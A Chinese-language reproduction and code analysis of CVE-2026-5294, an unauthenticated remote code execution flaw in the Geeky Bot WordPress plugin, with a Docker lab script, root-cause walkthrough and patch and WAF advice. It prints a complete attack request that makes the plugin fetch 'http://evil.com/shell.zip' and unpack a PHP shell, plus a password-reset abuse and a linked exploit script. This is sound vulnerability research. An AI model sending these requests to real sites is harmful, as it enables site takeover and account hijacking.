Geeky Bot 授权缺失导致RCE | CVE-2026-5294复现&研究

0x0 背景介绍

Geeky Bot是开源WordPress AI聊天机器人插件,用于WooCommerce潜在客户生成和客户互动。

受影响版本中,geekybotLoadMoreProducts函数存在授权缺失漏洞。该函数注册为nopriv AJAX路由,允许未认证用户通过控制modelName和functionName参数调用任意模型方法。攻击者可利用此漏洞执行未授权操作并可能导致远程代码执行。

修复版本中通过添加wp_verify_nonce验证并实现$allowed_map白名单机制,限制仅允许特定模型和函数组合,消除了未授权访问风险。


0x1 环境搭建(Ubuntu24)

1.1-Ubuntu24+Docker搭建配置

bash 复制代码
#!/bin/bash
# 检查依赖
if ! command -v unzip &> /dev/null; then
    echo "[*] 安装依赖工具..."
    apt update && apt install -y unzip wget curl
fi
echo "[*] 阶段1/5:创建漏洞复现目录..."
mkdir -p geekybot-cve-2026-5294 && cd geekybot-cve-2026-5294 || { echo "[x] 创建目录失败"; exit 1; }
echo "[+] 工作目录: $(pwd)"
echo "[*] 阶段2/5:生成 docker-compose.yml..."
cat > docker-compose.yml <<EOF
services:
  db:
    image: mysql:8.0
    container_name: geekybot-db
    environment:
      MYSQL_ROOT_PASSWORD: rootpass
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wpuser
      MYSQL_PASSWORD: wppass
    volumes:
      - db_data:/var/lib/mysql
    command: --default-authentication-plugin=mysql_native_password
  wordpress:
    image: wordpress:php7.4-apache
    container_name: geekybot-wp
    ports:
      - "8092:80"   # 使用 8092 端口,避免与其他环境冲突
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wpuser
      WORDPRESS_DB_PASSWORD: wppass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_plugins:/var/www/html/wp-content/plugins
    depends_on:
      - db
volumes:
  db_data:
  wp_plugins:
EOF
echo "[*] 阶段3/5:启动 Docker 环境..."
docker compose up -d
echo "[*] 等待服务启动(约60秒)..."
for i in $(seq 1 12); do
    echo -n "."
    sleep 5
done
echo -e "\n[+] 服务启动完成"
echo "[*] 等待 WordPress 安装页面就绪..."
until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:8092/wp-admin/install.php)" = "200" ]; do
    sleep 2
done
echo "[+] WordPress 已就绪"
echo "[*] 阶段4/5:下载并部署 Geeky Bot 1.2.2 漏洞插件..."
PLUGIN_URL="https://downloads.wordpress.org/plugin/geeky-bot.1.2.2.zip"
PLUGIN_ZIP="geeky-bot.1.2.2.zip"
PLUGIN_DIR="geeky-bot"      # 解压后的目录名(通常与插件 slug 一致)
rm -rf "$PLUGIN_DIR" "$PLUGIN_ZIP"
# 下载官方历史版本
if ! wget -q "$PLUGIN_URL" -O "$PLUGIN_ZIP"; then
    echo "[-] 下载失败,尝试备用镜像..."
    if ! wget -q "https://downloads.wordpress.org/plugin/geeky-bot.1.2.2.zip" -O "$PLUGIN_ZIP"; then
        echo "[!] 插件下载失败,请检查网络或插件是否仍可用"
        exit 1
    fi
fi
# 解压到当前目录
unzip -q "$PLUGIN_ZIP"
# 验证目录是否存在
if [ ! -d "$PLUGIN_DIR" ]; then
    echo "[-] 解压后未找到插件目录 '$PLUGIN_DIR',请检查压缩包内部结构"
    ls -la
    exit 1
fi
# 复制到容器
docker cp "$PLUGIN_DIR" geekybot-wp:/var/www/html/wp-content/plugins/
# 修复权限
docker exec geekybot-wp chown -R www-data:www-data "/var/www/html/wp-content/plugins/$PLUGIN_DIR"
# 清理本地临时文件
rm -rf "$PLUGIN_ZIP" "$PLUGIN_DIR"
# 验证部署
if docker exec geekybot-wp test -f "/var/www/html/wp-content/plugins/$PLUGIN_DIR/geeky-bot.php"; then
    echo "[+] Geeky Bot 1.2.2 官方插件部署成功!"
else
    echo "[-] 插件主文件未找到,部署失败"
    docker exec geekybot-wp ls -l "/var/www/html/wp-content/plugins/$PLUGIN_DIR/" || true
    exit 1
fi
echo "=============================================="
echo " CVE-2026-5294 漏洞环境部署完成!"
echo "  - 访问站点: http://localhost:8092"
echo "  - 首次访问时请完成 WordPress 安装"
echo "    * 站点标题: Geeky Bot - CVE-2026-5294"
echo "    * 用户名: admin"
echo "    * 密码: 自定义强密码(务必记住)"
echo "    * 邮箱: cve-2026-5294@local.test"
echo ""
echo "  - 安装步骤:"
echo "    1. 完成安装后登录后台"
echo "    2. 进入 '插件' -> 启用 'Geeky Bot'"
echo "=============================================="

0x2 漏洞复现

2.1-脚本验证

  • 可以公网放一个zip然后进行请求下载
bash 复制代码
https://github.com/Kai-One001/cve-/blob/main/Geeky_Bot_CVE_2026_5294.py

使用方法:python exp.py -u http://192.168. 19.131:8092 -z https://domnl ads.wcrtares.ors/blugia/hello-dally.1.7.2.zip -o hello-dally/readme. tx
-u 指定目标地址
-z 指定待下载的zip
-o 指定脚本去请求的文件

2.2-手动复现

2.2.1-未授权下载压缩包
2.2.2-未授权重置密码
apache 复制代码
functionName=geekybot_resetPassword 指定方法
data[0]=admin 用作用户名或邮箱
msg=cve-2026-5294@local.test 用作用户名或邮箱(因为我这就是测试邮箱,所以没后续了)

2.3-复现流量特征 (PCAP)

  • 本次项目的PCAP地址(不含密码重置,原因:1、构造相同,具体函数不一样 2、密码重置是后面发现的,单纯没再录)
bash 复制代码
https://github.com/Kai-One001/PCAP-For-Cybersecurity.rule/blob/main/2026/CVE_2026_5294_Geeky_Bot.pcap
  • 恶意的ZIP
  • 请求解压后的shell

0x3 漏洞原理分析

3.0-架构与模块定位

Geeky Bot 插件按功能分为多个模块 (modules/),并存在两条独立的 AJAX 管道

后台路由

bash 复制代码
includes/ajax.php 注册 
wp_ajax_geekybot_ajax / wp_ajax_nopriv_geekybot_ajax,主要用于后台管理功能。虽然高危方法 
downloadandinstalladdonfromAjax 被注册其中,
但该方法内部已实现 current_user_can('manage_options') 和 nonce 校验,因此匿名访问无法直接利用。

前台管道

bash 复制代码
includes/frontendajax.php 注册 wp_ajax_geekybot_frontendajax / 
wp_ajax_nopriv_geekybot_frontendajax,原本为"聊天窗口加载更多商品"等前端功能设计。

模块相关

3.1-[核心入口] 先看 includes/frontendajax.php

判断"未登录能否打到危险逻辑",首要任务是搜索**wp_ajax_nopriv**注册点GEEKYBOTfrontendajax类在构造方法中同时注册了登录和未登录的回调(CVE描述),两者共用GEEKYBOT_frontendajaxhandler

php 复制代码
// includes/frontendajax.php
function __construct(){
 add_action("wp_ajax_geekybot_frontendajax", array($this,"GEEKYBOT_frontendajaxhandler"));
 add_action("wp_ajax_nopriv_geekybot_frontendajax", array($this,"GEEKYBOT_frontendajaxhandler"));
}
  • 原本目的是需要访客"加载更多商品"确保访客可用。

  • 但"访客可用"仅应指向极少量固定后端逻辑,而这的动态方法调度器完整暴露给未认证用户

  • nopriv 注册本身不是漏洞,漏洞在于后续二次调用

3.2-[逻辑断层] task 白名单的问题

GEEKYBOT_frontendajaxhandler会检查请求中的task是否属于$fucntin_allowed白名单,其中包含geekybotLoadMoreProducts

php 复制代码
//includes/frontendajax.php
 $fucntin_allowed = array('getMessageResponse','getRandomChatId',...'geekybotLoadMoreProducts','geekybotLoadMoreCustomPosts',...);
 $task =GEEKYBOTrequest::GEEKYBOT_getVar('task');
if($task !=''&& in_array($task, $fucntin_allowed)){
 $module =GEEKYBOTrequest::GEEKYBOT_getVar('geekybotme');
 $result =GEEKYBOTincluder::GEEKYBOT_getModel($module)->$task();
...
}
  • 这里的geekybotme未经过路径净化,但真正危险在于进入geekybotLoadMoreProducts之后------它将"要调用的具体功能"完全交给了HTTP参数。

  • 第一层白名单只约束了"入口方法名"

  • 第二层却把模型类名和方法名同时暴露给请求者 ,且没有任何映射或开关,是一个通用跳板

3.3 [致命实现] geekybotLoadMoreProducts:完全受控的动态调用

php 复制代码
//modules/geekybot/model.php
function geekybotLoadMoreProducts(){
 $nonce =GEEKYBOTrequest::GEEKYBOT_getVar('_wpnonce');
if(! wp_verify_nonce( $nonce,'load-more')){
// disable nonce
// die( ' ' ); 
}
 $msg =GEEKYBOTrequest::GEEKYBOT_getVar('msg');
 $data =GEEKYBOTrequest::GEEKYBOT_getVar('data');
 $next_page =GEEKYBOTrequest::GEEKYBOT_getVar('next_page');
        $functionName = GEEKYBOTrequest::GEEKYBOT_getVar('functionName');
        $modelName = GEEKYBOTrequest::GEEKYBOT_getVar('modelName');
        ...
        $products = GEEKYBOTincluder::GEEKYBOT_getModel($modelName)->$functionName($msg, $data, $next_page);
        ...
    }
  • Nonce验证被注释:wp_verify_nonce失败时本应执行die(),但该行被注释,导致任何nonce(或留空)均可通过。

  • 动态调用无限制:$modelName 和 $functionName完全由攻击者提供,可直接实例化任意模型类并调用其任意公开方法。调用时传入三个参数:$msg、$data、$next_page(均来自请求)。

  • 这会导致攻击者不仅可以调用原本不应该暴露的管理功能,还能通过精心选择方法和参数,链接到文件系统操作。修复版必须引入$allowed_map白名单,严格限制可用的(modelName, functionName)组合。

3.4-[并列风险]geekybotLoadMoreCustomPosts的意外发现

同一模型文件中还存在一个类似方法geekybotLoadMoreCustomPosts,其模型被固定为systemaction,但functionName依然由用户控制:

php 复制代码
//modules/geekybot/model.php
    function geekybotLoadMoreCustomPosts(){
        $nonce = GEEKYBOTrequest::GEEKYBOT_getVar('_wpnonce');
        if (! wp_verify_nonce( $nonce, 'load-more') ) {
            // disable nonce
            // die( ' ' ); 
        }
        ...
        $posts = GEEKYBOTincluder::GEEKYBOT_getModel('systemaction')->$functionName($msg, $data, $next_page);
    }
  • 虽然攻击面被缩小到单一模型,但systemaction模型上的敏感方法(如密码重置等),仍可被未授权调用。
php 复制代码
// modules/systemaction/model.php
function geekybot_resetPassword($msg, $data) {
    // ...
    $username_or_email = $first_value;  // 直接从请求参数中获取
    $user_data = get_user_by( 'login', $username_or_email );
    // 若未通过用户名找到,则按邮箱查找
    if ( ! $user_data ) {
        $user_data = get_user_by( 'email', $username_or_email );
    }
    // 如果找到用户,则生成密码重置密钥,发送重置邮件
    if ( $user_data ) {
        return $this->sendRestLinkToUserThroughEmail($user_data);
    }
}
  • sendRestLinkToUserThroughEmail内部会调用get_password_reset_key生成合法密钥,并通过wp_mail向用户邮箱发送包含重置链接的邮件

  • 整个过程没有任何权限检查或nonce验证

3.5-[攻击链路] 从 HTTP 参数到 RCE

markdown 复制代码
1. 设计预期:
仅允许前台加载更多商品列表。 

2. 实际实现:
未认证请求可驱动任意 GEEKYBOT*Model 方法,包括直接写文件系统的 install_plugin。

install_plugin 的实现,仅接收一个参数 $plugin_zip,随后执行下载并解压至插件目录:

php 复制代码
//modules/premiumplugin/model.php
    function install_plugin( $plugin_zip ) {
        do_action('geekyboot_load_wp_admin_file');
        WP_Filesystem();
        $tmpfile = download_url( $plugin_zip );
        if ( !is_wp_error( $tmpfile ) && $tmpfile ) {
            $plugin_path = WP_CONTENT_DIR . '/plugins/';
            $path = GEEKYBOT_PLUGIN_PATH . 'addon.zip';
            copy( $tmpfile, $path );
            $unzipfile = unzip_file( $path, $plugin_path);
            ...
        }
    }
  • 动态调用时install_plugin接收的第一个实参正是请求中的msg

  • 因此,攻击者只需将msg设置为恶意 ZIP 的直链地址,即可触发下载 → 解压 → 落地任意 PHP 文件,完成远程代码执行。

完整攻击链总结

bash 复制代码
HTTP POST: action=geekybot_frontendajax
           &geekybotme=geekybot
           &task=geekybotLoadMoreProducts
           &modelName=premiumplugin
           &functionName=install_plugin
           &msg=http://evil.com/shell.zip
           &data={}&next_page=0&_wpnonce=

→ [未登录可达] GEEKYBOT_frontendajaxhandler
  → GEEKYBOTgeekybotModel::geekybotLoadMoreProducts
    → nonce 被注释,直接通过
    → GEEKYBOT_getModel('premiumplugin')->install_plugin($msg='http://evil.com/shell.zip', ...)
      → download_url('http://evil.com/shell.zip')
      → unzip_file → /wp-content/plugins/
      → 恶意 PHP 文件落地

0x4 修复建议

1、升级最新版本:将组件升级安全版本,v1.2.2以上版本

ruby 复制代码
https://wordpress.org/plugins/geeky-bot/

2、临时防护措施:

  • 服务器隔离:限制插件目录写权限,阻止恶意文件落地

  • 防火墙 / WAF:针对请求特征进行拦截action=geekybot_frontendajax、task=geekybotLoadMoreProducts,同时包含modelName和functionName 参数

  • 日志审查:检查是否存在异常的请求以及不明账户(一定要底层查询)


免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

相关推荐
小冷爱学习!2 小时前
Apache Shiro 1.2.4 反序列化漏洞Shiro-550(CVE-2016-4437)
服务器·网络·python·安全·网络安全·apache
Gauss松鼠会2 小时前
浅谈GaussDB (DWS)技术【玩转PB级数仓GaussDB(DWS)】
数据库·经验分享·sql·数据库开发·gaussdb·经验总结
05候补工程师2 小时前
【线性代数笔记】秩、线性相关性与等价向量组的核心逻辑总结
经验分享·笔记·线性代数·机器学习
世界尽头与你2 小时前
Ollama 内存泄漏漏洞(CVE-2026-7482)
安全·网络安全·渗透测试
梅羽落2 小时前
电脑输入法有问题
经验分享
智者知已应修善业2 小时前
【51单片机流水灯中断嵌套,低优先级中断完成后如何返回主程序】2023-10-15
c++·经验分享·笔记·算法·51单片机
m0_7381207216 小时前
应急响应(重点)——记一次某公司流量应急溯源分析(附带下载链接)
服务器·前端·数据库·安全·web安全·网络安全
再玩一会儿看代码17 小时前
如何理解神经网络中的权重参数?从一张图看懂模型参数量计算
人工智能·经验分享·python·深度学习·神经网络·机器学习
Tutankaaa18 小时前
知识竞赛软件SaaS版 vs 本地部署
人工智能·经验分享·笔记·学习